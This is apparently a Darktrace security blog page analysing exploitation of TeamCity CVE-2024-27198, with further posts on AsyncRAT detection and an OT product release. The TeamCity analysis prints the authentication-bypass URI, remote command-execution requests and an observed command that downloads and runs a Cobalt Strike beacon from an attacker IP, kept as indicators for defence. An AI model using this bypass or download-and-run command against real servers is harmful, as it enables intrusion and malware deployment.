August 21, 2024

How Darktrace Detects TeamCity Exploitation Activity

Darktrace observed the rapid exploitation of a critical vulnerability in JetBrains TeamCity (CVE-2024-27198) shortly following its public disclosure. Learn how the need for speedy detection serves to protect against supply chain attacks.

Written by

Justin Frank

Product Manager and Cyber Analyst

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Justin Frank

Product Manager and Cyber Analyst

Aug 2024

The rise in vulnerability exploitation

In recent years, threat actors have increasingly been observed exploiting endpoints and services associated with critical vulnerabilities almost immediately after those vulnerabilities are publicly disclosed. The time-to-exploit for internet-facing servers is accelerating as the risk of vulnerabilities in web components continuously grows. This growth demands faster detection and response from organizations and their security teams to ward off the rising number of exploitation attempts. One such case is that of CVE-2024-27198, a critical vulnerability in TeamCity On-Premises, a popular continuous integration and continuous delivery/deployment (CI/CD) solution for DevOps teams developed by JetBrains.

The disclosure of TeamCity vulnerabilities

On March 4, 2024, JetBrains published an advisory regarding two authentication bypass vulnerabilities, CVE-2024-27198 and CVE-2024-27199, affecting TeamCity On-Premises version 2023.11.3. and all earlier versions [1].

The most severe of the two vulnerabilities, CVE-2024-27198, would enable an attacker to take full control over all TeamCity projects and use their position as a suitable vector for a significant attack across the organization’s supply chain. The other vulnerability, CVE-2024-27199, was disclosed to be a path traversal bug that allows attackers to perform limited administrative actions. On the same day, several proof-of-exploits for CVE-2024-27198 were created and shared for public use; in effect, enabling anyone with the means and intent to validate whether a TeamCity device is affected by this vulnerability [2][3].

Using CVE-2024-27198, an attacker is able to successfully call an authenticated endpoint with no authentication, if they meet three requirements during an HTTP(S) request:

Request an unauthenticated resource that generates a 404 response.

/hax

Pass an HTTP query parameter named jsp containing the value of an authenticated URI path.

?jsp=/app/rest/server

Ensure the arbitrary URI path ends with .jsp by appending an HTTP path parameter segment.

;.jsp

Once combined, the URI path used by the attacker becomes:

/hax?jsp=/app/rest/server;.jsp

Over 30,000 organizations use TeamCity to automate and build testing and deployment processes for software projects. As various On-Premises servers are internet-facing, it became a short matter of time until exposed devices were faced with the inevitable rush of exploitation attempts. On March 7, the Cybersecurity and Infrastructure Security Agency (CISA) confirmed this by adding CVE-2024-27198 to its Known Exploited Catalog and noted that it was being actively used in ransomware campaigns. A shortened time-to-exploit has become fairly common for software known to be deeply embedded into an organization’s supply chain. Darktrace detected exploitation attempts of this vulnerability in the two days following JetBrains’ disclosure [4] [5].

Shortly after the disclosure of CVE-2024-27198, Darktrace observed malicious actors attempting to validate proof-of-exploits on a number of customer environments in the financial sector. After attackers validated the presence of the vulnerability on customer networks, Darktrace observed a series of suspicious activities including malicious file downloads, command-and-control (C2) connectivity and, in some cases, the delivery of cryptocurrency miners to TeamCity devices.

Fortunately, Darktrace was able to identify this malicious post-exploitation activity on compromised servers at the earliest possible stage, notifying affected customers and advising them to take urgent mitigative actions.

Attack details

Exploit Validation Activity

On March 6, just two days after the public disclosure of CVE-2024-27198, Darktrace first observed a customer being affected by the exploitation of the vulnerability when a TeamCity device received suspicious HTTP connections from the external endpoint, 83.97.20[.]141. This endpoint was later confirmed to be malicious and linked with the exploitation of TeamCity vulnerabilities by open-source intelligence (OSINT) sources [6]. The new user agent observed during these connections suggest they were performed using Python.

Figure 1: Advanced Search results shows the user agent (python-requests/2.25) performing initial stages of exploit validation for CVE-2024-27198.

The initial HTTP requests contained the following URIs:

/hax?jsp=/app/rest/server;[.]jsp

/hax?jsp=/app/rest/users;[.]jsp

These URIs match the exact criteria needed to exploit CVE-2024-27198 and initiate malicious unauthenicated requests. Darktrace / NETWORK recognized that these HTTP connections were suspicious, thus triggering the following models to alert:

Device / New User Agent
Anomalous Connection / New User Agent to IP Without Hostname

Establish C2

Around an hour later, Darktrace observed subsequent requests suggesting that the attacker began reconnaissance of the vulnerable device with the following URIs:

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO

These URIs set an executable path to /bin/sh or cmd.exe; instructing the shell of either a Unix-like or Windows operating system to execute the command echo ReadyGO. This will display “ReadyGO” to the attacker and validate which operating system is being used by this TeamCity server.

The same vulnerable device was then seen downloading an executable file, “beacon.out”, from the aforementioned external endpoint via HTTP on port 81, using a new user agent curl/8.4.0.

Figure 2: Darktrace’s Cyber AI Analyst detecting suspicious download of an executable file.

Figure 3: Advanced Search overview of the URIs used in the HTTP requests.

Subsequently, the attacker was seen using the curl command on the vulnerable TeamCity device to perform the following call:

“/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.conf”.

in attempt to pass the following command to the device’s command line interpreter:

“curl http://83.97.20[.]141:81/beacon.out -o .conf && chmod +x .conf && ./.conf”

From here, the attacker attempted to fetch the contents of the “beacon.out” file and create a new executable file from its output. This was done by using the -o parameter to output the results of the “beacon.out” file into a “.conf” file. Then using chmod+x to modify the file access permissions and make this file an executable aswell, before running the newly created “.conf” file.

Further investigation into the “beacon.out” file uncovered that is uses the Cobalt Strike framework. Cobalt Strike would allow for the creation of beacon components that can be configured to use HTTP to reach a C2 host [7] [8].

Cryptocurrency Mining Activities

Interestingly, prior to the confirmed exploitation of CVE-2024-27198, Darktrace observed the same vulnerable device being targeted in an attempt to deploy cryptocurrency mining malware, using a variant of the open-source mining software, XMRig. Deploying crypto-miners on vulnerable internet-facing appliances is a common tactic by financially motivated attackers, as was seen with Ivanti appliances in January 2024 [9].

Figure 4: Darktrace’s Cyber AI Analyst detects suspicious C2 activity over HTTP.

On March 5, Darktrace observed the TeamCity device connecting to another to rare, external endpoint, 146.70.149[.]185, this time using a “Windows Installer” user agent: “146.70.149[.]185:81/JavaAccessBridge-64.msi”. Similar threat activity highlighted by security researchers in January 2024, pointed to the use of a XMRig installer masquerading as an official Java utlity: “JavaAccessBridge-64.msi”. [10]

Further investigation into the external endpoint and URL address structuring, uncovered additional URIs: one serving crypto-mining malware over port 58090 and the other a C2 panel hosted on the same endpoint: “146.70.149[.]185:58090/1.sh”.

Figure 5:Crypto mining malware served over port 58090 of the rare external endpoint.

146.70.149[.]185/uadmin/adm.php

Figure 6: C2 panel on same external endpoint.

Upon closer observation, the panel resembles that of the Phishing-as-a-Service (PhaaS) provided by the “V3Bphishing kit” – a sophisticated phishing kit used to target financial institutions and their customers [11].

Darktrace Coverage

Throughout the course of this incident, Darktrace’s Cyber AI Analyst™ was able to autonomously investigate the ongoing post-exploitation activity and connect the individual events, viewing the individual suspicious connections and downloads as part of a wider compromise incident, rather than isolated events.

Figure 7: Darktrace’s Cyber AI Analyst investigates suspicious download activity.

As this particular customer was subscribed to Darktrace’s Managed Threat Detection service at the time of the attack, their internal security team was immediately notified of the ongoing compromise, and the activity was raised to Darktrace’s Security Operations Center (SOC) for triage and investigation.

Unfortunately, Darktrace’s Autonomous Response capabilities were not configured to take action on the vulnerable TeamCity device, and the attack was able to escalate until Darktrace’s SOC brought it to the customer’s attention. Had Darktrace been enabled in Autonomous Response mode, it would have been able to quickly contain the attack from the initial beaconing connections through the network inhibitor ‘Block matching connections’. Some examples of autonomous response models that likely would have been triggered include:

Antigena Crypto Currency Mining Block - Network Inhibitor (Block matching connections)
Antigena Suspicious File Block - Network Inhibitor (Block matching connections)

Despite the lack of autonomous response, Darktrace’s Self-Learning AI was still able to detect and alert for the anomalous network activity being carried out by malicious actors who had successfully exploited CVE-2024-27198 in TeamCity On-Premises.

Conclusion

In the observed cases of the JetBrains TeamCity vulnerabilities being exploited across the Darktrace fleet, Darktrace was able to pre-emptively identify and, in some cases, contain network compromises from the onset, offering vital protection against a potentially disruptive supply chain attack.

While the exploitation activity observed by Darktrace confirms the pervasive use of public exploit code, an important takeaway is the time needed for threat actors to employ such exploits in their arsenal. It suggests that threat actors are speeding up augmentation to their tactics, techniques and procedures (TTPs), especially from the moment a critical vulnerability is publicly disclosed. In fact, external security researchers have shown that CVE-2024-27198 had seen exploitation attempts within 22 minutes of a public exploit code being released [12][13] [14].

While new vulnerabilities will inevitably surface and threat actors will continually look for novel or AI-augmented ways to evolve their methods, Darktrace’s AI-driven detection capabilities and behavioral analysis offers organizations full visibility over novel or unknown threats. Rather than relying on only existing threat intelligence, Darktrace is able to detect emerging activity based on anomaly and respond to it without latency, safeguarding customer environments whilst causing minimal disruption to business operations.

Credit to Justin Frank (Cyber Analyst & Newsroom Product Manager) and Daniela Alvarado (Senior Cyber Analyst)

Appendices

References

[1] https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/

[2] https://github.com/Chocapikk/CVE-2024-27198

[3] https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

[4] https://www.darkreading.com/cyberattacks-data-breaches/jetbrains-teamcity-mass-exploitation-underway-rogue-accounts-thrive

[5] https://www.gartner.com/en/documents/5524495
[6]https://www.virustotal.com/gui/ip-address/83.97.20.141

[7] https://thehackernews.com/2024/03/teamcity-flaw-leads-to-surge-in.html

[8] https://www.cobaltstrike.com/product/features/beacon

[9] https://darktrace.com/blog/the-unknown-unknowns-post-exploitation-activities-of-ivanti-cs-ps-appliances

[10] https://www.trendmicro.com/en_us/research/24/c/teamcity-vulnerability-exploits-lead-to-jasmin-ransomware.html

[11] https://www.resecurity.com/blog/article/cybercriminals-attack-banking-customers-in-eu-with-v3b-phishing-kit

[12] https://www.ncsc.gov.uk/report/impact-of-ai-on-cyber-threat

[13] https://www2.deloitte.com/content/dam/Deloitte/us/Documents/risk/us-design-ai-threat-report-v2.pdf

[14] https://blog.cloudflare.com/application-security-report-2024-update

[15] https://www.virustotal.com/gui/file/1320e6dd39d9fdb901ae64713594b1153ee6244daa84c2336cf75a2a0b726b3c

‍Darktrace Model Detections

Device / New User Agent

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous Connection / Callback on Web Facing Device

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous File / EXE from Rare External Location

Anomalous File / Internet Facing System File Download

Anomalous Server Activity / New User Agent from Internet Facing System

Device / Initial Breach Chain Compromise

Device / Internet Facing Device with High Priority Alert

Indicators of Compromise (IoC)

IoC - Type – Description

/hax?jsp=/app/rest/server;[.]jsp - URI

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO - URI

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO – URI -

db6bd96b152314db3c430df41b83fcf2e5712281 - SHA1 – Malicious file

/beacon.out - URI -

/JavaAccessBridge-64.msi - MSI Installer

/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.con - URI

146.70.149[.]185:81 - IP – Malicious Endpoint

83.97.20[.]141:81 - IP – Malicious Endpoint

MITRE ATT&CK Mapping

Initial Access - Exploit Public-Facing Application - T1190

Execution - PowerShell - T1059.001

Command and Control - Ingress Tool Transfer - T1105

Resource Development - Obtain Capabilities - T1588

Execution - Vulnerabilities - T1588.006

Written by

Justin Frank

Product Manager and Cyber Analyst

Inside the SOC

Written by

Justin Frank

Product Manager and Cyber Analyst

Product Marketing Manager, OT Security & Compliance

Watch the NIS2 Webinar

Blog

Network

May 16, 2025

Catching a RAT: How Darktrace neutralized AsyncRAT

What is a RAT?

As the proliferation of new and more advanced cyber threats continues, the Remote Access Trojan (RAT) remains a classic tool in a threat actor's arsenal. RATs, whether standardized or custom-built, enable attackers to remotely control compromised devices, facilitating a range of malicious activities.

What is AsyncRAT?

Since its first appearance in 2019, AsyncRAT has become increasingly popular among a wide range of threat actors, including cybercriminals and advanced persistent threat (APT) groups.

Originally available on GitHub as a legitimate tool, its open-source nature has led to widespread exploitation. AsyncRAT has been used in numerous campaigns, including prolonged attacks on essential US infrastructure, and has even reportedly penetrated the Chinese cybercriminal underground market [1] [2].

How does AsyncRAT work?

Original source code analysis of AsyncRAT demonstrates that once installed, it establishes persistence via techniques such as creating scheduled tasks or registry keys and uses SeDebugPrivilege to gain elevated privileges [3].

Its key features include:

Keylogging
File search
Remote audio and camera access
Exfiltration techniques
Staging for final payload delivery

These are generally typical functions found in traditional RATs. However, it also boasts interesting anti-detection capabilities. Due to the popularity of Virtual Machines (VM) and sandboxes for dynamic analysis, this RAT checks for the manufacturer via the WMI query 'Select * from Win32_ComputerSystem' and looks for strings containing 'VMware' and 'VirtualBox' [4].

Darktrace’s coverage of AsyncRAT

In late 2024 and early 2025, Darktrace observed a spike in AsyncRAT activity across various customer environments. Multiple indicators of post-compromise were detected, including devices attempting or successfully connecting to endpoints associated with AsyncRAT.

On several occasions, Darktrace identified a clear association with AsyncRAT through the digital certificates of the highlighted SSL endpoints. Darktrace’s Real-time Detection effectively identified and alerted on suspicious activities related to AsyncRAT. In one notable incident, Darktrace’s Autonomous Response promptly took action to contain the emerging threat posed by AsyncRAT.

AsyncRAT attack overview

On December 20, 2024, Darktrace first identified the use of AsyncRAT, noting a device successfully establishing SSL connections to the uncommon external IP 185.49.126[.]50 (AS199654 Oxide Group Limited) via port 6606. The IP address appears to be associated with AsyncRAT as flagged by open-source intelligence (OSINT) sources [5]. This activity triggered the device to alert the ‘Anomalous Connection / Rare External SSL Self-Signed' model.

Figure 1: Model alert in Darktrace / NETWORK showing the repeated SSL connections to a rare external Self-Signed endpoint, 185.49.126[.]50.

Following these initial connections, the device was observed making a significantly higher number of connections to the same endpoint 185.49.126[.]50 via port 6606 over an extended period. This pattern suggested beaconing activity and triggered the 'Compromise/Beaconing Activity to External Rare' model alert.

Further analysis of the original source code, available publicly, outlines the default ports used by AsyncRAT clients for command-and-control (C2) communications [6]. It reveals that port 6606 is the default port for creating a new AsyncRAT client. Darktrace identified both the Certificate Issuer and the Certificate Subject as "CN=AsyncRAT Server". This SSL certificate encrypts the packets between the compromised system and the server. These indicators of compromise (IoCs) detected by Darktrace further suggest that the device was successfully connecting to a server associated with AsyncRAT.

Figure 2: Model alert in Darktrace / NETWORK displaying the Digital Certificate attributes, IP address and port number associated with AsyncRAT.

Figure 3: Darktrace’s detection of repeated connections to the suspicious IP address 185.49.126[.]50 over port 6606, indicative of beaconing behavior.

Figure 4: Darktrace's Autonomous Response actions blocking the suspicious IP address,185.49.126[.]50.

A few days later, the same device was detected making numerous connections to a different IP address, 195.26.255[.]81 (AS40021 NL-811-40021), via various ports including 2106, 6606, 7707, and 8808. Notably, ports 7707 and 8808 are also default ports specified in the original AsyncRAT source code [6].

Figure 5: Darktrace’s detection of connections to the suspicious endpoint 195.26.255[.]81, where the default ports (6606, 7707, and 8808) for AsyncRAT were observed.

Similar to the activity observed with the first endpoint, 185.49.126[.]50, the Certificate Issuer for the connections to 195.26.255[.]81 was identified as "CN=AsyncRAT Server". Further OSINT investigation confirmed associations between the IP address 195.26.255[.]81 and AsyncRAT [7].

Figure 6: Darktrace's detection of a connection to the suspicious IP address 195.26.255[.]81 and the domain name identified under the common name (CN) of a certificate as AsyncRAT Server.

Once again, Darktrace's Autonomous Response acted swiftly, blocking the connections to 195.26.255[.]81 throughout the observed AsyncRAT activity.

Figure 7: Darktrace's Autonomous Response actions were applied against the suspicious IP address 195.26.255[.]81.

A day later, Darktrace again alerted to further suspicious activity from the device. This time, connections to the suspicious endpoint 'kashuub[.]com' and IP address 191.96.207[.]246 via port 8041 were observed. Further analysis of port 8041 suggests it is commonly associated with ScreenConnect or Xcorpeon ASIC Carrier Ethernet Transport [8]. ScreenConnect has been observed in recent campaign’s where AsyncRAT has been utilized [9]. Additionally, one of the ASN’s observed, namely ‘ASN Oxide Group Limited’, was seen in both connections to kashuub[.]com and 185.49.126[.]50.

This could suggest a parallel between the two endpoints, indicating they might be hosting AsyncRAT C2 servers, as inferred from our previous analysis of the endpoint 185.49.126[.]50 and its association with AsyncRAT [5]. OSINT reporting suggests that the “kashuub[.]com” endpoint may be associated with ScreenConnect scam domains, further supporting the assumption that the endpoint could be a C2 server.

Darktrace’s Autonomous Response technology was once again able to support the customer here, blocking connections to “kashuub[.]com”. Ultimately, this intervention halted the compromise and prevented the attack from escalating or any sensitive data from being exfiltrated from the customer’s network into the hands of the threat actors.

Figure 8: Darktrace’s Autonomous Response applied a total of nine actions against the IP address 191.96.207[.]246 and the domain 'kashuub[.]com', successfully blocking the connections.

Due to the popularity of this RAT, it is difficult to determine the motive behind the attack; however, from existing knowledge of what the RAT does, we can assume accessing and exfiltrating sensitive customer data may have been a factor.

Conclusion

While some cybercriminals seek stability and simplicity, openly available RATs like AsyncRAT provide the infrastructure and open the door for even the most amateur threat actors to compromise sensitive networks. As the cyber landscape continually shifts, RATs are now being used in all types of attacks.

Darktrace’s suite of AI-driven tools provides organizations with the infrastructure to achieve complete visibility and control over emerging threats within their network environment. Although AsyncRAT’s lack of concealment allowed Darktrace to quickly detect the developing threat and alert on unusual behaviors, it was ultimately Darktrace Autonomous Response's consistent blocking of suspicious connections that prevented a more disruptive attack.

Credit to Isabel Evans (Cyber Analyst), Priya Thapa (Cyber Analyst) and Ryan Traill (Analyst Content Lead)

‍

Appendices

Real-time Detection Models
- Compromise / Suspicious SSL Activity
- Compromise / Beaconing Activity To External Rare
- Compromise / High Volume of Connections with Beacon Score
- Anomalous Connection / Suspicious Self-Signed SSL
- Compromise / Sustained SSL or HTTP Increase
- Compromise / SSL Beaconing to Rare Destination
- Compromise / Suspicious Beaconing Behaviour
- Compromise / Large Number of Suspicious Failed Connections
Autonomous Response Models
- Antigena / Network / Significant Anomaly / Antigena Controlled and Model Alert
- Antigena / Network / Significant Anomaly / Antigena Enhanced Monitoring from Client Block

List of IoCs

· 185.49.126[.]50 - IP – AsyncRAT C2 Endpoint

· 195.26.255[.]81 – IP - AsyncRAT C2 Endpoint

· 191.96.207[.]246 – IP – Likely AsyncRAT C2 Endpoint

· CN=AsyncRAT Server - SSL certificate - AsyncRATC2 Infrastructure

· Kashuub[.]com– Hostname – Likely AsyncRAT C2 Endpoint

‍

MITRE ATT&CK Mapping:

Tactic –Technique – Sub-Technique

Execution– T1053 - Scheduled Task/Job: Scheduled Task

DefenceEvasion – T1497 - Virtualization/Sandbox Evasion: System Checks

Discovery– T1057 – Process Discovery

Discovery– T1082 – System Information Discovery

LateralMovement - T1021.001 - Remote Services: Remote Desktop Protocol

Collection/ Credential Access – T1056 – Input Capture: Keylogging

Collection– T1125 – Video Capture

Commandand Control – T1105 - Ingress Tool Transfer

Commandand Control – T1219 - Remote Access Software

Exfiltration– T1041 - Exfiltration Over C2 Channel

References

[1] https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/

[2] https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall

[3] https://www.attackiq.com/2024/08/01/emulate-asyncrat/

[4] https://www.fortinet.com/blog/threat-research/spear-phishing-campaign-with-new-techniques-aimed-at-aviation-companies

[5] https://www.virustotal.com/gui/ip-address/185.49.126[.]50/community

[6] https://dfir.ch/posts/asyncrat_quasarrat/

[7] https://www.virustotal.com/gui/ip-address/195.26.255[.]81

[8] https://www.speedguide.net/port.php?port=8041

[9] https://www.esentire.com/blog/exploring-the-infection-chain-screenconnects-link-to-asyncrat-deployment

[10] https://scammer.info/t/taking-out-connectwise-sites/153479/518?page=26

About the author

Isabel Evans

Cyber Analyst

Blog

OT

May 13, 2025

Revolutionizing OT Risk Prioritization with Darktrace 6.3

Powering smarter protection for industrial systems

In industrial environments, security challenges are deeply operational. Whether you’re running a manufacturing line, a power grid, or a semiconductor fabrication facility (fab), you need to know: What risks can truly disrupt my operations, and what should I focus on first?

Teams need the right tools to shift from reactive defense, constantly putting out fires, to proactively thinking about their security posture. However, most OT teams are stuck using IT-centric tools that don’t speak the language of industrial systems, are consistently overwhelmed with static CVE lists, and offer no understanding of OT-specific protocols. The result? Compliance gaps, siloed insights, and risk models that don’t reflect real-world exposure, making risk prioritization seem like a luxury.

Darktrace / OT 6.3 was built in direct response to these challenges. Developed in close collaboration with OT operators and engineers, this release introduces powerful upgrades that deliver the context, visibility, and automation security teams need, without adding complexity. It’s everything OT defenders need to protect critical operations in one platform that understands the language of industrial systems.

Contextual risk modeling with smarter Risk Scoring

Darktrace / OT 6.3 introduces major upgrades to OT Risk Management, helping teams move beyond generic CVE lists with AI-driven risk scoring and attack path modeling.

By factoring in real-world exploitability, asset criticality, and operational context, this release delivers a more accurate view of what truly puts critical systems at risk.

The platform now integrates:

CISA’s Known Exploited Vulnerabilities (KEV) database
End-of-life status for legacy OT devices
Firewall misconfiguration analysis
Incident response plan alignment

Most OT environments are flooded with vulnerability data that lacks context. CVE scores often misrepresent risk by ignoring how threats move through the environment or whether assets are even reachable. Firewalls are frequently misconfigured or undocumented, and EOL (End of Life) devices, some of the most vulnerable, often go untracked.

Legacy tools treat these inputs in isolation. Darktrace unifies them, showing teams exactly which attack paths adversaries could exploit, mapped to the MITRE ATT&CK framework, with visibility into where legacy tech increases exposure.

The result: teams can finally focus on the risks that matter most to uptime, safety, and resilience without wasting resources on noise.

Automating compliance with dynamic IEC-62443 reporting

Darktrace / OT now includes a purpose-built IEC-62443-3-3 compliance module, giving industrial teams real-time visibility into their alignment with regulatory standards. No spreadsheets required!

Industrial environments are among the most heavily regulated. However, for many OT teams, staying compliant is still a manual, time-consuming process.

Darktrace / OT introduces a dedicated IEC-62443-3-3 module designed specifically for industrial environments. Security and operations teams can now map their security posture to IEC standards in real time, directly within the platform. The module automatically gathers evidence across all four security levels, flags non-compliance, and generates structured reports to support audit preparation, all in just a few clicks.Most organizations rely on spreadsheets or static tools to track compliance, without clear visibility into which controls meet standards like IEC-62443. The result is hidden gaps, resource-heavy audits, and slow remediation cycles.

Even dedicated compliance tools are often built for IT, require complex setup, and overlook the unique devices found in OT environments. This leaves teams stuck with fragmented reporting and limited assurance that their controls are actually aligned with regulatory expectations.

By automating compliance tracking, surfacing what matters most, and being purpose built for industrial environments, Darktrace / OT empowers organizations to reduce audit fatigue, eliminate blind spots, and focus resources where they’re needed most.

Expanding protocol visibility with deep insights for specialized OT operations

Darktrace has expanded its Deep Packet Inspection (DPI) capabilities to support five industry-specific protocols, across healthcare, semiconductor manufacturing, and ABB control systems.

The new protocols build on existing capabilities across all OT industry verticals and protocol types to ensure the Darktrace Self-Learning AI ^TM can learn intelligently about even more assets in complex industrial environments. By enabling native, AI-driven inspection of these protocols, Darktrace can identify both security threats and operational issues without relying on additional appliances or complex integrations.

Most security platforms lack native support for industry-specific protocols, creating critical visibility gaps in customer environments like healthcare, semiconductor manufacturing, and ABB-heavy industrial automation. Without deep protocol awareness, organizations struggle to accurately identify specialized OT and IoT assets, detect malicious activity concealed within proprietary protocol traffic, and generate reliable device risk profiles due to insufficient telemetry.

These blind spots result in incomplete asset inventories, and ultimately, flawed risk posture assessments which over-index for CVE patching and legacy equipment.

By combining protocol-aware detection with full-stack visibility across IT, OT, and IoT, Darktrace’s AI can correlate anomalies across domains. For example, connecting an anomaly from a Medical IoT (MIoT) device with suspicious behavior in IT systems, providing actionable, contextual insights other solutions often miss.

Conclusion

Together, these capabilities take OT security beyond alert noise and basic CVE matching, delivering continuous compliance, protocol-aware visibility, and actionable, prioritized risk insights, all inside a single, unified platform built for the realities of industrial environments.

[related-resource]

About the author

Pallavi Singh

Product Marketing Manager, OT Security & Compliance

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Check out this article by Darktrace: How Darktrace Detects TeamCity Exploitation Activity

How Darktrace Detects TeamCity Exploitation Activity

The rise in vulnerability exploitation

The disclosure of TeamCity vulnerabilities

Attack details

Exploit Validation Activity

Establish C2

Cryptocurrency Mining Activities

Darktrace Coverage

Conclusion

Appendices

References

‍Darktrace Model Detections

Indicators of Compromise (IoC)

MITRE ATT&CK Mapping

Catching a RAT: How Darktrace neutralized AsyncRAT

Revolutionizing OT Risk Prioritization with Darktrace 6.3

Enjoying the blog?

More in this series

Catching a RAT: How Darktrace neutralized AsyncRAT

Anomaly-based threat hunting: Darktrace's approach in action

SocGholish: From loader and C2 activity to RansomHub deployment

Blog

Network

May 16, 2025

Catching a RAT: How Darktrace neutralized AsyncRAT

What is a RAT?

What is AsyncRAT?

How does AsyncRAT work?

Darktrace’s coverage of AsyncRAT

AsyncRAT attack overview

Conclusion

Appendices

Blog

OT

May 13, 2025

Revolutionizing OT Risk Prioritization with Darktrace 6.3

Powering smarter protection for industrial systems

Contextual risk modeling with smarter Risk Scoring

Automating compliance with dynamic IEC-62443 reporting

Expanding protocol visibility with deep insights for specialized OT operations

Conclusion